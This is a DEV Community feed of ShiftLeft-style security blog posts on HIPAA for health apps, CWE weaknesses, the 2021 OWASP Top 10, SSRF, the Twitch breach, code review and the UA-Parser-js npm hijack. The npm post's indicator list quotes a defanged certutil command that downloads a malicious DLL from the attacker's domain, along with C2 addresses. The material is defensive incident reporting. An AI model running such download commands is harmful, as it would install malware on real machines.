DEV Community: Cdebrincat

HIPAA Compliance for Healthcare Apps

Cdebrincat — Tue, 02 Nov 2021 17:00:17 +0000

What Application Developers Need to Know About HIPAA Compliance

Photo by Alexander Sinn on Unsplash

Increasingly, patients want to access their healthcare information using mobile applications or web applications. Instead of calling a doctor’s office, they want instant access to their records. According to the Office of the National Health Coordinator for Health Information Technology (ONC), 1 in 8 Americans tracked a health metric using some form of technology in 2013. As healthcare providers increased their use of technology during the COVID pandemic, securing health applications is more important than ever. As more health-focused applications go to market, application developers need to know how Health Insurance Portability and Accountability Act (HIPAA) compliance fits into their coding practices.

What are HIPAA and the HITECH Act?

Health technologies fall under two interrelated compliance requirements: HIPAA and HITECH.

HIPAA

Congress passed the Health Insurance Portability and Accountability Act (HIPAA) in 1996 to set requirements for the protection and confidentiality of protected health information (PHI). HIPAA has four goals:

Give people a way to transfer health insurance coverage when they change or lose their jobs
Reduce healthcare fraud and abuse
Establish industry-wide standards for managing health care information
Establish PHI security and confidentiality standards

HIPAA Security Rule

HIPAA Security Rule is broken down into three categories of safeguards:

Administrative : policies and procedures for putting security and privacy measures in place to protect electronic PHI (ePHI)
Physical : measures protecting electronic information systems and the buildings where they reside from natural disasters, environmental hazards, and unauthorized intrusion
Technical : risk-based technology, policy, and procedures for reasinably setting security controls to protect ePHI and control access to it

HIPAA Violations

HIPAA sets fines for violations using a four-tiered system across a spectrum of actions, including:

Awareness of the violation
Ability to avoid the violation
Reasonable care taken to follow HIPAA’s rules

At Tier 1, the lowest tier, fines start with a minimum fine of $100 per violation for activities that could not have been reasonably avoided as long as the covered entity proves it took reasonable care. The fines escalate up to Tier 4’s $50,000 per violation for violations arising from willful neglect where the covered entity made no attempt to correct the violation. In 2020, the HHS Office for Civil Rights (OCR) levied a total of $13,554,900 in fines ranging from a minimum of $3,500 up to a maximum of $6.85 million.

Additionally, HIPAA also includes three tiers of criminal penalties for violations, with up to a year in jail at the lowest tier and up to ten years in jail for the highest tier.

HITECH

In 1996, most PHI practices focused on physical records, since electronic records were not yet widely adopted. As the healthcare industry began to embrace digitization, so did HIPAA.

In 2008, the Health Information Technology for Economic and Clinical Health (HITECH) Act was signed into law. The HITECH Act sought to drive electronic health record (EHR) technology adoption to make care coordination across multiple healthcare practitioners more efficient.

Further HITECH applied the HIPAA Security and Privacy Rules to business associates, culminating in the consolidated Omnibus Rule in 2013. Under the Omnibus Rule, the department of Health and Human Services (HHS), the agency responsible for HIPAA, strengthened the privacy and security protections and officially incorporated HITECH as part of the long-standing regulation.

What four entities are covered by HIPAA?

HIPAA outlines three categories of covered entities and an additional business associate category.

Covered Entities

Covered entities generally include the traditional types of providers and services associated with health care.

The three covered entities are:

Health care providers like doctors, clinics, psychologists, dentists, chiropractors, nursing homes, and pharmacies
Health plans like health insurance companies, HMOs, company health plans, government programs that pay for health care (Medicaid, Medicare)
Health care clearinghouses that process onstandard health information recieved from one entity into a standard (like electronic format) or vice versa

Business Associates

Business associates are defined people or entities performing functions or activities that use or disclose PHI on behalf of or when providing services to a covered entity.

Examples of business associate functions include:

Claims processing or administration
Data analysis, processing, or administration
Utilization review
Quality assurance
Billing
Benefit management
Practice management
Repricing

Examples of business associate services include:

Legal
Actuarial
Accounting
Consulting
Data aggregation
Management
Administrative
Accredditation
Financial

Are software applications subject to HIPAA compliance?

In 2016, HHS published “Health App use Scenarios & HIPPA.” HSS notes that any applications developed for covered entities must meet HIPAA compliance. Additionally, anyone creating or offering applications on behalf of a covered entity might be considered a business associate.

The publication applies HIPAA requirements to an app developer in the following cases:

Apps that patients download at the direction of their providers when the provider has contracted with the app developer
Mobile Protected Health Record (PHR) application offered by health plans

App developers need to consider the following when trying to determine whether they are considered a covered entity or business associate:

Whether the health app creates, receives, maintains, or transmits identifiable information
Whether the direct client is a covered entity
Whether hiring or payment is done by a covered entity
Whether a covered entity directs the developer t create, receive, maintain, or disclose information related to a patient or health plan member

HIPAA Compliance for Healthcare Apps

Developers working for HIPAA covered entities need to make sure that any internally developed application meets HIPAA compliance. However, all software developers need to consider potential HIPAA compliance as part of their coding practices. While the initial roadmap and use case for an application may not include use by HIPAA covered entities, HIPAA compliance may be something that needs to be considered as a software company grows.

To learn more about securing web facing applications, visit the ShiftLeft secure coding training site for free courses.

What to do about CWEs in your application

Cdebrincat — Thu, 28 Oct 2021 13:03:52 +0000

Image by Pete Linforth from Pixabay

Over the past few weeks, we’ve published a series of blogs related to CWEs: we’ve taken a look at the changes in the Top 25 Most Dangerous Software Weaknesses over the past year, as well as some of the vulnerabilities included on the list:

With that information in hand, what can someone in software engineering or application security do about possible security risks in their code?

Finding weaknesses and vulnerabilities

The first step toward determining how secure your application is is to find as many of the vulnerabilities that are present in your application as possible. There are various tools that you can use at different parts of the software development lifecycle (SDLC).

There is a time and place for each type of security tool. Linters are great for near-instantaneous feedback during the development process. SAST is a good option for integrating into your pull request pipeline and is often bundled with SCA for use with open-source packages and libraries. DAST tools are excellent for detecting existing vulnerabilities in production code that can be triggered.

In the end, the best option is to mix-and-match options so that your engineers are getting feedback at all points of the SDLC. Once you’ve gained this information, including whether you have any CWEs present, you can continue by learning the best methods for mitigating these issues.

Mitigating identified weaknesses and vulnerabilities

Once you have a list of the weaknesses and vulnerabilities, including CWEs, that are present in your application, you can begin mitigating them to lessen the risk of your application being compromised:

Sanitization of all user-provided input
Encryption of data
Use of libraries or frameworks to implement features security
Updating libraries and frameworks used to leverage security fixes
Minimizing the attack surface

The specific technique that applies is dependant on the vulnerability present in your code. Different issues require different fixes, so in some cases, the first step might be to learn about the topic, why it is problematic, and what the best courses of action could be (and from there, narrow down the results that best fit your needs).

SCA and Prioritization

That said, there’s a possibility that the sheer number of vulnerabilities present may be overwhelming. In that case, you may want to leverage the power of an SCA tool. These tools, typically bundled with SAST options, allow you to determine the vulnerabilities introduced via open-source libraries.

More importantly, some will prioritize them based on whether they are attacker-reachable. For example, a vulnerability that cannot ever be reached is a lower priority than one that can be. Just as first responders triage, so too can your AppSec team triage the security threats to your application.

Visit ShiftLeft Learn to continue your application security education today!

OWASP Updates the Top 10 Web Application Security Risks

Cdebrincat — Tue, 26 Oct 2021 16:06:29 +0000

OWASP Top Ten updates: what changed?

OWASP updates the top 10 web application security risks

Photo by Scott Graham on Unsplash

The Open Web Application Security Project, or OWASP, is a non-profit organization dedicated to improving software security. They offer various services to help developers improve, including tools, social events, and educational resources. They also offer useful guides including the recently updated OWASP Top 10 Web Application Security Risks.

But first, how does OWASP determine the top ten web application security risks? OWASP creates their web application risk list by using both data analysis and industry surveys. They use applications donated specifically for analysis to determine the data-driven portion of the list. Two of the top ten risks are decided by survey responses returned by members of the community. This process allows developers to highlight risks they often encounter that may not be reflected in the analyzed data.

What Are the OWASP Top 10 Web Application Security Risks?

The OWASP Top 10 Web Application Security Risks list has recently been updated. By comparing it to the previous version, released in 2017, developers can see longstanding problems plaguing software development along with newly recognized issues.

The lists includes:

Breaking Down the Risks: from 2017 to 2021

Now let’s take a closer look at what has changed from the 2017 OWASP top ten to the 2021 OWASP top ten!

Injection

Injection risks describe the insertion of untrusted data to an interpreter as part of a command or query. This category includes SQL, NoSQL, OS, and LDAP injections among others. Malicious injections seek to subvert interpreters into executing harmful commands or revealing sensitive data. This risk category now includes cross-site scripting, which had its own entry in the 2017 list. One way to prevent injection vulnerabilities is by keeping data separate from queries and commands.

Broken Authentication

Broken authentication, as the name suggests, occurs when poorly implemented session management creates opportunities for attackers to take over user accounts. Threat actors who break authentication or other session management functions may gain access to passwords, keys, or session tokens. They may also be able to seize legitimate user identities and exploit those as well. This risk category became part of Identification and Authentication Failures in the 2021 version of the OWASP list.

Sensitive Data Exposure

Sensitive data can be exposed by applications or APIs that do not have adequate built-in protections. For strong security, it is important to provide protective measures for data in transit or at rest. Sensitive data is a valuable commodity for threat actors, making data security particularly important. Stolen data may be monetized through committing fraud, blackmail, identity-related crimes, or sold on the dark web. In the 2021 list this category was merged into cryptographic failures.

XML External Entities (XXE)

XML Eternal Entities (XXE) risks describe vulnerabilities that allow the exploitation of XML processors to commit DDOS attacks or perform other malicious activity. Deprecated or misconfigured XML processors can also be tricked into revealing internal files, file shares, performing internal port scanning, and remote code execution. Since XXE attacks rely on Document Type Definitions (DTDs) being enabled, disabling them where possible is recommended. If disabling DTDs is not an option, OWASP has an XXE Prevention Cheat Sheet that offers alternative security steps. In the 2021 list this category was merged into security misconfiguration.

Broken Access Control

Broken access control is a broad risk category that generally describes vulnerabilities that allow attackers to circumvent permission restrictions. Examples include elevation of privilege attacks, bypassing access control checks, and using insecure direct object references, among others. Attackers who exploit broken access control measures may steal private data, hijack user accounts, modify user rights, or perform other malicious activity.

Security Misconfiguration

Security misconfigurations are the most common security risk affecting web applications. They are often the result of:

Relying on default accounts, passwords, or configurations
Leaving unnecessary ports, accounts, services, or other features, enabled
Incomplete or outdated security configurations
Out of date or unpatched software
Misconfigured HTTP headers
Error messages that reveal too much about the underlying system

Preventing security misconfigurations relies on establishing a repeatable and effective procedure for hardening systems, software, and processes.

Vulnerable and Outdated Components

Using unpatched, outdated, or vulnerable components in an app undermines its security and may expose it to various cyber attacks. These risks arise from vulnerabilities in libraries, frameworks, and various modules which gain the same permissions as the app when executed. Disabling unnecessary dependencies, using only trusted components and following a trusted patch management process can reduce exposure to these risks. This category was named u_sing components with known vulnerabilities_ in the 2017 list.

Security Logging and Monitoring Failures

Identify a breach quickly is key to minimizing damage, but insufficient logging and monitoring hinder threat detection efforts. Studies indicate the average breach takes 228 days to detect, giving attackers ample time to wreak havoc. Apps can mitigate these risks by ensuring security events are logged error/warning messages are clear and concise, and high-value transactions have audit trails. This category was named insufficient logging & monitoring in 2017.

Cryptographic Failures

Cryptographic failures are when sensitive data or secrets are insufficiently protected. Sensitive data needs to be encrypted or stored as a hash while in transit or at rest. For instance, passwords need to be stored as a hash instead of as plain text, and sensitive personal information should only be transmitted via HTTPS. Failing to protect sensitive data may result in attackers committing fraud, blackmail, identity theft, or other information-based crimes. Companies may face severe penalties from exposing sensitive data due to violating privacy legislation like the EU’s GDPR or the financial industry’s PCI-DSS. These risks include those listed in the sensitive data exposure category from the 2017 list.

Insecure Design

This is a new category that covers risk exposures due to “missing or ineffective control design.” It differs from insecure implementation in that flawed design can never be perfectly implemented, while perfect design can be implemented poorly. Flawed designs may be missing necessary security controls, have dependencies with known vulnerabilities, or be fundamentally insecure for other reasons. These risks can be mitigated through using secure design patterns and principles and carrying out extensive threat modelling and testing.

Software Data and Integrity Failures

This new risk category broadly encompasses failures related to faulty assumptions about software updates, critical data, and CI/CD pipelines. This includes applications that rely on insecure components or services like libraries, plugins, or content delivery networks. It also encompasses insecure deserialization (from 2017), which occurs when serialized data from a file, network socket, or stream is insecurely transformed into an object. These risks can be mitigated by only using trusted repositories, or verifying dependencies through extensive security testing.

Server Side Request Forgery

This new risk category involves web applications that do not check or validate user-supplied URLs before fetching remote resources. Attackers can exploit these vulnerable applications to send crafted requests to malicious URLs, thereby bypassing firewalls, VPNs or access control lists. These risks can be mitigated through network segmentation, disabling HTTP redirection, sanitizing user input, and other measures.

Benefits of using the OWASP Top 10 Web Application Security Risks List

The OWASP Top 10 Web Application Security Risks list is a handy reference for guiding developers through common issues that make code insecure. As devs familiarize themselves with detecting and addressing these risks their apps will benefit by becoming more resilient to cyber threats. Appsec folks can also benefit by taking these top risks into consideration when creating security processes. Organizations can use the list to proactively integrate procedures that identify and remediate these risks throughout the software development lifecycle.

For more information on ways to avoid the OWASP web app risks and other code security issues, visit ShiftLeft.io. ShiftLeft is dedicated to promoting secure code practices and offers several tools and resources to help developers write stronger, more resilient apps.

Evolving Threat series — Infiltrating NPM’s Supply Chain (UA-Parser-js)

Cdebrincat — Sun, 24 Oct 2021 23:08:13 +0000

Evolving Threat series — Infiltrating NPM’s Supply Chain (UA-Parser-js)

And if you think your are safe (as you recently procured a well marketed commercial open source dependency scanner) is when you are most in danger as all such tools lack intelligence to track such advanced infiltration patterns.

The phrase “Think like an Attacker” is often abused in cyber security to encourage people and organizations to get inside the head of the groups which are targeting them.

Here’s what’s wrong with think like an attacker : most people have no clue how to do it. They don’t know what matters to an attacker. They don’t know how an attacker spends their day. They don’t know how an attacker approaches a problem.

Lately, I’ve been challenging people to think like a professional chef. Most people have no idea how a chef spends their days, or how they approach a problem. They have no idea how to plan a menu, or how to cook a hundred or more dinners in an hour.

~ Adam Shostack

I’d strongly encourage everyone to pause and watch this entire presentation by Haroon Meer titled Learning the wrong lessons from Offense. Haroon’s presentations are often vendor-agnostic, honest, informative and downright fabulous.

Key takeaways : You cannot teach a defender to think like an attacker. As Haroon wisely states (quoting from Richard Feynman’s Cargo Cult Science), we as defenders follow everything that we see the attacker do, then model detection in isolation (honeypots, adversarial modeling, situational awareness) and not grasp the point bearing context.

Let’s now revert back to UA-Parser-JS incident and speculatively understand how an infiltrator organized her/his actions.

Modeling the Infiltrators mindset

Act 1: Prey Selection

Identify the most popular libraries imported/used in the NPM package index.

Why pick this library?

It’s imperative that us-parser.js (7.9MM weekly downloads) is fairly popular and ranked on the fortnight index. The UA-Parser-JS library is used to parse a browser’s user agent to identify a visitor’s browser, engine, OS, CPU, and Device type/model.

Act 2: Understanding the depth of supply chain

Faisal Salman’s page list’s several F50/F500 companies using UAParser.js in their supply chain. The infiltrator is now well informed of far reaching consequences of weaponizing this library.

Act 3: Hijack the committer’s NPM account

The infiltrator got access to the committer’s keys/identity and managed to publish malicious versions. It has not been publicly stated how the threat actor got access to the publisher’s identity. Note, the source code in this case was not compromised, but rather altered offline and published into the NPM repository ( as versions 0.7.29, 0.8.0, 1.0.0)

“I noticed something unusual when my email was suddenly flooded by spams from hundreds of websites (maybe so I don’t realize something was up, luckily the effect is quite the contrary),”

said Faisal Salman, the developer of UA-Parser-JS, in a bug report.

“I believe someone was hijacking my npm account and published some compromised packages (0.7.29, 0.8.0, 1.0.0) which triggered the install of malware”

Act 4: Threading the Needle — Evidence Markers

Step-1 : Bootstrapping

Run-book for Linux based environments

Run-book for Windows based environments

Far reaching impact

Infiltrate developer machines, build environments (CI/CD) and production servers
Laterally move to more sensitive environments in network
The malware might most likely steal credentials and upload to anonymous severs (via Danabot RAT), hence the secondary effects may not be visible for a long time

Who is affected

One or more of your applications are dependent or upgraded (auto patched) malicious versions to ua-parser-js (0.7.29, 0.8.0, 1.0.0).
Had a direct or indirect dependency on the ua-parser-js , without explicitly locking down versions (forcing fetch of latest by default).

IOCs and TTPs

certutil.exe -urlcache -f https[:]//citationsherbe[.]at/sdd.dll

create.dll citationsherbe[.]at 95[.]213.165.20 

pool[.][http://minexmr.com](https://t.co/0wolF7Qgj9?amp=1) http[:]//159[.]148.186.228/jsextension.exe 159[.]148.186.228

sdd.dll (SHA256: 2a3acdcd76575762b18c18c644a745125f55ce121f742d2aad962521bc7f25fd)

jsextension.exe (SHA256: 47DDED0EFC230C3536F4DB1E2E476AFD3EDA8D8EA0537DB69D432322CDBAC9CA)

**C2 addresses discovered in sdd.dll** 
194[.]76.225.46:443 
185[.]158.250.216:443 
45[.]11.180.153:443 
194[.]76.225.61:443

How can we help?

Upgrading libraries in a mature application can be costly. This can make customer and partner security requirements painful to accommodate. I-SCA carries over its unique ability to gauge “reachability” to it’s SBoM reports. These reports include reachability statistics for each CVE discovered. This objective analysis reduces open risk exposure to only that which impacts your application.

ShiftLeft’s I-SCA goes beyond simply checking to see if the vulnerable package is called by your application. As part of ShiftLeft CORE, it runs alongside NG-SAST to determine whether a threat actor can actually reach the known vulnerability. This removes a great deal of work for developers by eliminating the need to upgrade packages, a process that can take hours to perform and weeks to schedule.

CWE-77

Cdebrincat — Thu, 21 Oct 2021 13:03:14 +0000

Improper Neutralization of Special Elements used in a Command (‘Command Injection’)

CWE-77 refers to command injection, a vulnerability that allows malicious parties to control parts of the application by providing input that influences how the application behaves. In short, the attacker could control how the app behaves, compromising the app itself and potentially its data as well.

Why command injection vulnerabilities are problematic

Command injection vulnerabilities allow attackers to perform actions they would otherwise not be able to perform. This potentially allows them to modify the behavior of the application, as well as gain access to sensitive data.

Variations, such as command-line injections or operating system (OS) injections, are commonly found, but there are additional ways that command injections can occur as well.

How command injection attacks occur

Command injection attacks occur when user-provided input is accepted and used as part of a command executed by the application. For example, the user input might be used to find a file. The input is appended to a command that looks for a file and returns the content to the user. Without proper sanitization, users could modify this behavior (e.g., append a command to delete the folder contents).

This ability offers a malicious party the means to do something they would not otherwise be able to (either because they lack the proper authorization or ability to do so directly). Furthermore, the way that the programming language is structured may allow attackers to string together and execute multiple commands, all at once.

Mitigating command injection vulnerabilities

Any instance where user input is accepted and used without proper sanitization could lead to a command injection vulnerability. As such, sanitization and allowlisting are simple strategies that can help.

However, it can be difficult to allowlist the accepted values properly; the best mitigation strategies include using libraries to implement the desired functionality. Additionally, limiting the scope of the command (e.g., set permissions so that users cannot access/modify/open privileged files) can help.

TL;DR

Command injections are a general class of vulnerabilities primarily arising due to unsanitized user input that’s then used in a command executed by the application. Sanitization of user input, allowlist, implementing functions with libraries, and securing privileged files are all methods of mitigating the risk of command injections.

What happened in the Twitch Breach…

Cdebrincat — Tue, 12 Oct 2021 16:52:04 +0000

And four principles for securing your organization’s information including your source code and supply chain

Photo by Caspar Camille Rubin on Unsplash

Twitch, a popular live video streaming service, was breached last week. Last Wednesday, an anonymous individual published a file online containing the entirety of twitch.tv’s source code, information about twitch’s internal services and development tools, penetration testing reports and tools, and payouts to prominent Twitch streamers. The source of the leak is currently believed to be an internal Git server.

In the wake of such an event, you might think: How do I prevent such an event from happening? How do I protect my code and development tools from being leaked? How do I ensure my development teams have the knowledge to own and secure their application and its environment? It is still unclear how the Twitch breach originated, so we cannot pinpoint exactly how Twitch could have prevented the breach. But there are security principles every development and IT team can follow to reduce the risks of a damaging breach.

Principle One: Zero Trust

The first principle that’s going to help here is zero trust.

Successful cyberattacks often start at the “network perimeter”. The network perimeter refers to public-facing machines exposed to people outside an organization’s network, like public web servers or even public cloud services. These machines are usually the heaviest guarded against attacks: they are protected by firewalls and monitored for suspicious activities.

Machines that don’t sit on the network perimeter are often treated differently. Because they are, in theory, only reachable by trusted machines on the internal network, security is often less of a consideration. Sensitive data and functionality are often accessible by trusted internal machines without additional security controls.

But if an internal machine was compromised, this “trusted machine” can quickly allow attackers to exploit other machines on the network. For instance, if an attacker can takeover a public facing web server, they will then be able to send requests on behalf of a server to access sensitive data and functionalities of other machines.

The zero trust principle means not to trust devices by default. Instead, sensitive services should authenticate devices and users regardless of where they are located.

Principle Two: Least Privilege

Another good way to limit the damage caused by breaches or vulnerabilities is to implement the principle of least privilege. The principle of least privilege means that applications and processes should only be granted the privileges they need to complete their tasks. For example, when an application requires only read access to a file, it should not be granted any write or execute permissions.

If an attacker hijacks an application that runs with high privileges, the attacker can gain its permissions. We often see web servers running as the root user. This is a terrible idea, as an attacker who compromises the web server will then gain root access to that machine. You should grant applications precisely the permissions that they need instead. This will lower your risks of complete system compromise during an attack.

Principle Three: Logging and Monitoring

Cyber attacks do not happen within a few hours or even a few days. Attackers often need time to explore the network and construct suitable strategies to fully exploit the system and steal the data it contains. The longer an attacker is able to access the system without detection, the more likely the attacker would find a way to exploit the system, steal data, and cause extensive damage to the application and its users. That’s why it’s essential to have a logging and monitoring system capable of detecting malicious activity as soon as possible.

You need a logging system that looks out for abnormal usage patterns. You can log events such as input validation failures, authentication and authorization success and failures, application errors, and any other events that deal with sensitive functionality like payment, account settings, and so on. Over time, you will be able to understand what normal usage of your services looks like, and detect suspicious activity that could be an attack. This will give you insight into the malicious activities going on in your network.

That brings us to the second part of the equation. Once you set up logging and monitoring, make sure that you have an effective alert system in place in case of a security incident. After all, a monitoring system is only useful if its results could be delivered in time and to the right people. This way, your team can resolve the incident as soon as possible and limit the damage to your systems.

Principle Four: Assume Breach

All of the principles mentioned here come back to a simple idea: assume breach. To assume breach means that you acknowledge that an attack might happen, even if you defend your organization well. You should, therefore, protect your data, applications, and machines from potential threats currently lurking in your network.

Besides adopting the concepts of zero trust, the principle of least privilege, logging and monitoring, here are a few more things to do to best protect yourself against malicious actors.

First, study how attackers can break into your network. Understanding how attackers can break into your organization, or having an “adversary mindset” is a massive asset in your security arsenal. Knowing how your adversaries might act can help you act accordingly.

For instance, the top entry points for attackers are phishing and social engineering, and application vulnerabilities. Understanding this, you can use tactics like anti-phishing training and multi-factor authentication to lower the risks of social engineering. You can also use application security tools, like SAST, DAST, and SCA, to make sure that an application vulnerability does not become an opportunity to break into your network. A good SAST tool can help you secure your applications by catching vulnerabilities before they enter your codebase. Dev-centric tools that integrate with your CI/CD, like ShiftLeft CORE, can be easily run daily or at each pull request, so that you can focus on releasing innovative software.

You should also prepare for security incidents with regular security employee training and creating reliable backups for all important data.

While we don’t yet know the specifics of the Twitch breach, this is a good opportunity to make sure your organization is following the basics of good security practices. To sum up, here are a few principles to help you secure your data and machines: zero trust, least privilege, logging and monitoring, and assume breach.

CWE-918

Cdebrincat — Mon, 11 Oct 2021 13:03:51 +0000

Server-Side Request Forgery (SSRF)

Image by Edgar Oliver from Pixabay

Server-side request forgeries (SSRF) occur when the web application sends a request to the web server, and the webserver retrieves the requested content. However, the webserver does not ensure that the request is sent to an appropriate destination.

In other words, this vulnerability allows a malicious party to get a server-side application to make HTTP requests to the domain of the malicious party’s choice.

Why SSRF is problematic

Using SSRF attacks, a malicious party could cause the server to:

Connect to services that should not be available to external users
Connect to external systems, leaking sensitive information like access tokens/keys, authorization credentials, etc.

How attacks involving SSRF are executed

There are several different ways malicious parties can execute an attack using SSRF, and attack surfaces are typically easy to find due to the extensive use of URLs:

Modifying requests from the server to access other server-side/back-end systems. These systems would typically be inaccessible to end-user, but because the request “originates” from a known and trusted server, the malicious party can bypass security systems protecting the back-end.
Modifying a request to a URL local to the server. Because the request originates from the server, someone can bypass the need for admin credentials. For example, visiting an /admin URL will yield nothing without proper authentication. However, the same request from the server probably won’t be blocked.

Mitigating SSRF vulnerabilities

To help protect your application against SSRF attacks:

Sanitize all user input that is used in URLs and other requests and avoid sending raw responses from the server-side to the client-side
Use an allowlist to enforce the available ports/destinations to which URLs can call
Disable HTTP redirections
Use firewall policies or network access control rules to block all unnecessary traffic

TL;DR

CWE-919, or server-side request forgeries (SSRF), occurs when malicious parties can induce a server to make requests that help them gain access to internal infrastructure, sensitive data, and more. The attack surface for SSRF can easily be identified via the use of URLs. They can be difficult to deal with, though sanitization and allowlists are some of the more powerful tools available.

Finding Sensitive Data Leaks In Code Using ShiftLeft CORE

Cdebrincat — Thu, 07 Oct 2021 14:32:33 +0000

Getting started with a source code review using ShiftLeft CORE

Photo by Roman Synkevych on Unsplash

Performing a source code review is one of the best ways to find security issues in an application. But how do you do it? In this guide, we’ll go through the basics of code analysis and some tips for performing a security code review on your application.

Before you start reviewing code, learn what the most common vulnerabilities are for the target application type. Getting familiar with the indicators and signatures of those vulnerabilities will help you identify similar patterns in source code. For example, the signature for an XXE vulnerability is passing user-supplied XML to a parser without disabling DTDs or external entities. (More about XXEs here.)

Although vulnerabilities have common patterns in code, these patterns can look quite different in different contexts. Knowing the programming language, frameworks, and libraries you are working with will help you spot vulnerable patterns more accurately.

Code Analysis Basics

Before we go on, there are a few concepts that you should understand: “sources”, “sinks”, and “data flow”. In code analysis speak, a “source” is the code that allows a vulnerability to happen. Whereas a “sink” is where the vulnerability actually happens.

Take command injection vulnerabilities, for example. A “source” in this case could be a function that takes in user input. Whereas the “sink” would be functions that execute system commands. If the untrusted user input can get from “source” to “sink” without proper sanitization or validation, there is a command injection vulnerability. Many common vulnerabilities can be identified by tracking this “data flow” from appropriate sources to corresponding sinks.

Quick Start Hunting

If you are short on time, focusing on a few issues can help you discover the most common and severe issues.

Start by searching for strings, keywords, and code patterns known to be indicators for vulnerabilities or misconfiguration. For example, hardcoded credentials such as API keys, encryption keys, and database passwords can be discovered by grepping for keywords such as “key”, “secret”, “password”, or a regex search for hex or base64 strings. Don’t forget to search in your git history for these strings as well.

Unchecked use of dangerous functions and outdated dependencies are also a huge source of bugs. Grep for dangerous functions and see if they are reachable by user-controlled data. For example, you can search for strings like and “system()” and “eval()” for potential command injections. Search through your dependencies to see if any of them are outdated.

Digging Deeper

You can complement the above strategy with a more extensive source code review if you have time.

Focus on areas of code that deal with user input. User input locations such as HTTP request parameters, HTTP headers, HTTP request paths, database entries, file reads, and file uploads provide the entry points for attackers to exploit the application’s vulnerabilities. Tracing data flow from these functions to corresponding sinks can help you find common vulnerabilities such as stored-XSS, SQL injections, shell uploads, and XXEs.

Then, review code that performs critical functionalities in the application. This includes code that deals with authorization, authentication, and other logic critical to business functions. Look at the protection mechanisms implemented and see if you can bypass them. At the same time, check how business and user data are being transported. Is sensitive information transported and stored safely?

Finally, look out for configuration issues specific to your application. Make sure that your application is using secure settings according to best practices.

Automate the process using ShiftLeft CORE

As you can see, manual code review can be quite tedious and time-consuming. Using SAST (Static Analysis Security Testing) tools is a great way to speed up the process. Good SAST tools identify vulnerable patterns for you so that you can focus on analyzing the impact and exploitability of the vulnerability.

https://medium.com/media/b06ff3c84fb0ce14173e4f9e73706c10/href

Now, let’s search for a vulnerability using ShiftLeft’s SAST tool, ShiftLeft CORE! We will be analyzing the source code of an example application, shiftleft-java-demo. Register for a free CORE account here. After you register, you will be taken to a dashboard.

From there, go to “Add App” on the top right, and select “Public and Private repos”.

After you authorize Shiftleft to access your Github repositories, and click on “Click to see a list of your repositories”, you should see a list of your repos available for analysis. If you choose to analyse one of your Github repos, all you have to do is click on it and ShiftLeft will automatically import it for analysis.

For now, we will be using a built-in demo app. So go to “Java > Demo”, and click on “Next”.

You should now see a new application on your dashboard! ShiftLeft is working hard to find vulnerabilities in the application.

Diving into a sensitive data leak

Let’s dive into the findings! Click on the shiftleft-java-demo project, and you should see findings sorted by vulnerability type on the bottom left. Click on “Sensitive Data Leak”. This takes you to all the sensitive data leaks ShiftLeft CORE found.

Sensitive data leaks happen when an application exposes sensitive data, such as credentials, secret keys, personal information, or configuration information to people that shouldn’t have access to that information. For instance, if an application writes sensitive personal information like customers’ credit card numbers into application logs, that information becomes accessible to system analysts who can read logs.

The “source” of a sensitive data leak is usually a variable that contains sensitive information. And a “sink ” in this context could be any function that causes information to be displayed to users, such as logging, automated emails, and writing to web pages. If the sensitive “source” can make its way to a “sink” function, the sensitive data could be leaked.

Let’s dive into one of these sensitive data leaks and figure out why it happened! Click on one of the sensitive data leaks found. Here, I will be looking at Sensitive Data Leak #92, Sensitive data is leaked via routingNumber to log in Account..

The tool tracks how data flows through applications to find patterns that indicate vulnerabilities. This window shows you where the vulnerability is located and how it happened, starting from the source, to the sink.

You can see that source is a variable named routingNumber on line 31 in a file called Account.java. And the sink is in a file named Logger.java.

Click on the link in the first step to go to that line in code. You should see a class declaration that declares a new class named Account. The class has five properties: accountNumber, routingNumber, type, initialBalance, and initialInterest. From the class name and its contents, we can guess that this class is used to represent a bank account.

https://medium.com/media/07499492c2306c2c4888b954dee6fc8d/href

ShiftLeft CORE tells us that the routingNumber is being leaked to logs via CustomerController.java. Let’s head over to CustomerController.java to see what’s going on there! You can click on the data flow step in your portal and you will be taken to that line in code.

https://medium.com/media/4edb9fa6857db38b7f66d8ee9ac59c91/href

In CustomerController.java, you find code that fetches a customer based on their ID. During this process, the application writes the account information without any redaction or sanitization into logs. This means that anyone who has access to the application’s logs will also be able to access the bank account details of that user!

Congratulations! You just found and analyzed your first sensitive data leak using ShiftLeft CORE!

Static analysis is the most efficient way of uncovering most vulnerabilities in your applications. If you’re interested in learning more about ShiftLeft’s static analysis tool ShiftLeft CORE, visit us here. And if you are interested in learning more about common vulnerabilities in web applications, check out our free course on the OWASP top ten.

CWE-200

Cdebrincat — Mon, 04 Oct 2021 13:02:28 +0000

Exposure of Sensitive Information to an Unauthorized Actor

Photo by Paula from Pexels

CWE-200 occurs when information that should remain confidential (e.g., systems and network information for the application, user-supplied data including names, email addresses, and dates of birth) are accessible to those without authorization to see this information.

Why exposing sensitive information is problematic

The impact of exposing sensitive information depends on the type of information that is inadvertently shown to the unauthorized party. For example, exposing user information (e.g., names, emails, credit card numbers, etc.) can be very problematic for the end-users, while exposing information on how the application works could compromise the integrity of the application itself.

How sensitive information is exposed to unauthorized actors

There are several ways in which confidential information could be inadvertently exposed to those without proper authorization for viewing the information:

The application inserts information explicitly into resources that can be accessed by unauthorized users (in other words, the data weren’t sanitized/scrubbed to ensure privacy)
The application reveals information (e.g., application metadata, full file paths) due to programming flaws
The application relies on resources (e.g., databases) that contain sensitive information and inadvertently reveal how an unauthorized party could access those resources

Note that CWE-200 should only be used as the classification if the sensitive data exposure results from mistakes in management, storing, transferring, or cleansing of information, not issues like out-of-bounds reads or insecure file permission settings.

Mitigating sensitive data leaks

Build compartmentalization into the system to help enable privilege separation functionality; use the principle of least privilege to decide which resources can access what data and when.
Set up safe areas by drawing trust boundaries; do not allow sensitive data outside the trust boundaries. Take care if secure areas interface with other parts of the application or third-party resources.

TL;DR

CWE-200 encompasses issues related to the unauthorized access of sensitive data due to the way an application manages, stores, transfers, and cleanses information
In addition to sanitizing information (such as user data), techniques for mitigation include compartmentalizing and setting up safe areas by drawing trust boundaries for the data

API Security 101: Insufficient Logging and Monitoring

Cdebrincat — Tue, 28 Sep 2021 14:11:05 +0000

How logging and monitoring prevent damage to an application and its users

Photo by Chris Yang on Unsplash

